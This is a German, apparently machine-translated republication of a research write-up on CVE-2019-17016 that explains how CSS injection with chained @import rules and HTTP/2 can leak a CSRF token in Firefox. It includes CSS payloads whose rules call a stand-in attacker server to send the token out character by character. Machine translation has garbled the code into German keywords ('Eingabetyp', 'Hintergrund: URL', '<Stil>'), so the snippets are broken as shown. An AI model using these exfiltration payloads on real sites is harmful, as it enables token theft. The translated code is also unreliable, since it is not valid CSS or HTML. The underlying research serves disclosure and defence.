Datendiebstahl mit CSS in Firefox

Datendiebstahl mit CSS in Firefox

0x00 Einführung

Vor einigen Monaten habe ich eine Schwachstelle in Firefox gefunden (CVE-2019-17016). Während meiner Recherchen bin ich auf eine Technik zum Datendiebstahl unter Verwendung von CSS in Firefox gestoßen, mit der Daten über einen einzigen Injektionspunkt gestohlen werden können. Meine Forschungsergebnisse möchte ich gerne mit Ihnen teilen.

0x01 Hintergrund

Nehmen wir zu Demonstrationszwecken an, wir möchten das CSRF-Token von einem <input> -Element stehlen.

<Eingabetyp="versteckt" Name="csrftoken" Wert="EIN_WERT">

Wir können keine Skripte verwenden (wahrscheinlich wegen CSP), daher suchen wir nach einer stilbasierten Injektion. Der traditionelle Ansatz besteht in der Verwendung von Attributselektoren wie diesen:

Eingabe[Name='csrftoken'][Wert^='a'] {
  Hintergrund: URL (//Angreifer-Server/Leak/a);
}
Eingabe[Name='csrftoken'][Wert^='b'] {
  Hintergrund: URL (//Angreifer-Server/Leak/b);
}
...
Eingabe[Name='csrftoken'][Wert^='z'] {
  Hintergrund: URL (//Angreifer-Server/Leak/z);
}

Wenn die CSS-Regel angewendet wird, kann der Angreifer die HTTP-Anfrage empfangen und das erste Zeichen des Tokens abrufen. Der Angreifer muss dann ein weiteres Stylesheet vorbereiten, das das gestohlene erste Zeichen enthält, wie unten gezeigt:

Eingabe[Name='csrftoken'][Wert^='aa'] {
  Hintergrund: URL (//Angreifer-Server/Leak/aa);
}
Eingabe[Name='csrftoken'][Wert^='ab'] {
  Hintergrund: URL (//Angreifer-Server/Leak/ab);
}
...
Eingabe[Name='csrftoken'][Wert^='az'] {
  Hintergrund: URL (//Angreifer-Server/Leak/az);
}

Normalerweise müsste ein Angreifer die bereits im <iframe> geladene Seite neu laden, um das nachfolgende Stylesheet bereitzustellen.

Im Jahr 2018 hatte Pepe Vila eine sehr coole Idee, rekursive CSS-Importe in Chrome zu missbrauchen, um dieselbe Aufgabe mit einem einzigen Injektionspunkt zu erreichen. Im Jahr 2019 schlug Nathanial Lattimer (@d0nutptr) die gleiche Technik mit einer kleinen Abwandlung erneut vor. Nachfolgend werde ich Lattimers Methode kurz zusammenfassen, die der Idee dieses Artikels nahe kommt (allerdings waren mir Lattimers frühere Arbeiten während dieser Untersuchung nicht bekannt, sodass manche Leute denken könnten, ich würde das Rad neu erfinden).

Kurz gesagt, die erste Injektion verwendet eine Reihe von import :

@import url(//ANGRIFFER-SERVER/polling?len=0);
@import url(//ANGRIFFER-SERVER/polling?len=1);
@import url(//ANGRIFFER-SERVER/polling?len=2);
...

Die Kernidee ist wie folgt:

1. Zu Beginn gibt nur das erste @import das Stylesheet zurück und die anderen Anweisungen befinden sich in einem Verbindungsblockierungszustand.

2. Das erste @import gibt das Stylesheet zurück und gibt das erste Zeichen des Tokens preis.

3. Wenn das erste durchgesickerte Token ATTACKER-SERVER erreicht, beendet der zweite import die Blockierung, gibt das Stylesheet mit dem ersten Zeichen zurück und versucht, das zweite Zeichen durchsickern zu lassen.

4. Wenn das zweite durchgesickerte Zeichen ATTACKER-SERVER erreicht, stoppt der dritte import die Blockierung … und so weiter.

Diese Technik funktioniert, weil Chrome import asynchron verarbeitet. Wenn also ein import nicht mehr blockiert, analysiert Chrome die Anweisung sofort und wendet die Regeln an.

0x02 Firefox und Stylesheet-Verarbeitung

Die oben genannte Methode funktioniert nicht in Firefox, da dieser Stylesheets ganz anders behandelt als Chrome. Hier werde ich anhand einiger Fälle den Unterschied veranschaulichen.

Erstens verarbeitet Firefox Stylesheets synchron. Wenn ein Stylesheet mehrere import enthält, wendet Firefox die CSS-Regeln daher erst an, wenn alle import verarbeitet wurden. Betrachten Sie den folgenden Fall:

<Stil>
@import '/polling/0';
@import '/Abfrage/1';
@import '/Abfrage/2';
</Stil>

Angenommen, der erste @import gibt CSS-Regeln zurück, um den Seitenhintergrund auf Blau einzustellen, und nachfolgende import befinden sich in einem blockierenden Zustand (d. h., sie geben nie etwas zurück und lassen die HTTP-Verbindung hängen). In Chrome wird die Seite sofort blau, während in Firefox nichts passiert.

Wir können dies beheben, indem wir alle import in separate <style> -Elemente einfügen:

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>

Im obigen Code verarbeitet Firefox alle Stylesheets separat, sodass die Seite sofort blau wird und andere import im Hintergrund verarbeitet werden.

Aber hier ist ein anderes Problem: Angenommen, wir möchten ein Token stehlen, das 10 Zeichen enthält:

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
...
<style>@import '/polling/10';</style>

Firefox stellt sofort 10 import in die Warteschlange. Nach der Verarbeitung des ersten import stellt Firefox eine weitere Anforderung mit der bekannten Zeichenfolge in die Warteschlange. Das Problem hierbei besteht darin, dass die Anforderung am Ende der Warteschlange hinzugefügt wird. Standardmäßig sind Browser auf nur sechs gleichzeitige Verbindungen zum selben Server beschränkt. Daher wird die Anforderung mit den bekannten Zeichen nie den Zielserver erreichen, da bereits sechs Verbindungen zum Server blockiert sind, was schließlich zu einem Deadlock führt.

0x03 HTTP/2

Die Begrenzung auf 6 Verbindungen wird durch die TCP-Schicht bestimmt, sodass nur 6 TCP-Verbindungen gleichzeitig zu einem einzelnen Server bestehen können. In diesem Fall denke ich, dass HTTP/2 nützlich sein könnte. HTTP/2 hat viele Vorteile. Beispielsweise können wir mehrere HTTP-Anfragen über eine einzige Verbindung senden (auch Multiplexing genannt), was die Leistung erheblich verbessert.

Firefox begrenzt auch die Anzahl gleichzeitiger Anfragen für eine einzelne HTTP/2-Verbindung, aber standardmäßig liegt das Limit bei 100 (spezifische Einstellungen finden Sie unter network.http.spdy.default-concurrent in about:config ). Wenn wir mehr Parallelität benötigen, können wir einen anderen Hostnamen verwenden, um Firefox zum Erstellen einer zweiten TCP-Verbindung zu zwingen. Wenn wir beispielsweise 100 Anfragen an https://localhost:3000 und 50 Anfragen an https://127.0.0.1:3000 erstellen, erstellt Firefox 2 TCP-Verbindungen.

0x04 Ausnutzung

Nun ist alles bereit. Unsere wichtigsten Exploit-Szenarien lauten wie folgt:

1. Der Exploit-Code basiert auf HTTP/2.

2. Der Endpunkt /polling/:session/:index kann CSS zurückgeben, wobei das Zeichen :index verloren geht. Diese Anfrage wird blockiert, bis die vorherige Anfrage erfolgreich das Zeichen mit dem index-1 preisgibt. :session wird verwendet, um mehrere Angriffsverhalten zu unterscheiden.

3. Geben Sie das gesamte Token über /leak/:session/:value . Hier ist :value der vollständige erhaltene Wert, nicht nur das letzte Zeichen.

4. Um Firefox zu zwingen, zwei TCP-Verbindungen zum selben Server zu initiieren, werden hier zwei Endpunkte verwendet, nämlich https://localhost:3000 und https://127.0.0.1:3000 .

5. Der Endpunkt /generate wird zum Generieren von Beispielcode verwendet.

Mit dem Ziel, auf diese Weise csrftoken zu stehlen, habe ich eine Testplattform erstellt, auf die hier direkt zugegriffen werden kann.

Darüber hinaus habe ich den PoC-Code auch auf GitHub gehostet und der Angriffsvorgang kann hier im Video angesehen werden.

Da wir HTTP/2 verwenden, ist der Angriff interessanterweise sehr schnell und das gesamte Token kann in weniger als 3 Sekunden abgerufen werden.

0x05 Zusammenfassung

In diesem Artikel habe ich gezeigt, wie man einen Injektionspunkt ausnutzt, um Daten über CSS zu stehlen, ohne die Seite neu zu laden. Dabei geht es vor allem um zwei Punkte:

1. Teilen Sie die @import -Regel in mehrere Stylesheets auf, damit nachfolgende import den Browser nicht daran hindern, das gesamte Stylesheet zu verarbeiten.

2. Um das TCP-Limit für gleichzeitige Verbindungen zu umgehen, müssen wir den Angriff über HTTP/2 starten.

Oben habe ich Ihnen erklärt, wie man mit CSS Daten im Firefox-Browser stiehlt. Ich hoffe, es ist hilfreich für Sie. Vielen Dank für Ihre Unterstützung der Website 123WORDPRESS.COM!

<<:  Docker installiert ClickHouse und initialisiert den Datentest

>>:  Ausrichtungsproblem zwischen Eingabetextfeld und Bildbestätigungscode (Bild ist immer einen Kopf höher als die Eingabe)

Artikel empfehlen

Beispielcode zur Implementierung eines 3D-Text-Hover-Effekts mit CSS3

In diesem Artikel wird der Beispielcode von CSS3 ...

Ubuntu 19.04 Installationstutorial (Schritte in Bild und Text)

1. Vorbereitung 1.1 Laden Sie VMware 15 herunter ...

Detaillierte Erklärung von MySQL Explain

Bei unserer täglichen Arbeit führen wir manchmal ...

So richten Sie den PostgreSQL-Start unter Ubuntu 16.04 ein

Da PostgreSQL kompiliert und installiert ist, müs...

So überprüfen Sie die Festplattennutzung unter Linux

1. Verwenden Sie den Befehl df, um die gesamte Fe...

52 SQL-Anweisungen, die Ihnen Leistungsoptimierung beibringen

1. Um die Abfrage zu optimieren, sollten Sie voll...

Problem beim Testen des nicht autorisierten Zugriffs auf Zookeeper

Inhaltsverzeichnis Vorwort Erkennen des geöffnete...

Detaillierte Installationsschritte für MySQL 8.0.11

In diesem Artikel werden die Installationsschritt...

Detaillierte Erklärung der Verwendung des Linux-Befehls nslookup

[Wer ist nslookup?] 】 Der Befehl nslookup ist ein...

MySQL Series 6-Benutzer und Autorisierung

Inhaltsverzeichnis Tutorial-Reihe 1. Benutzerverw...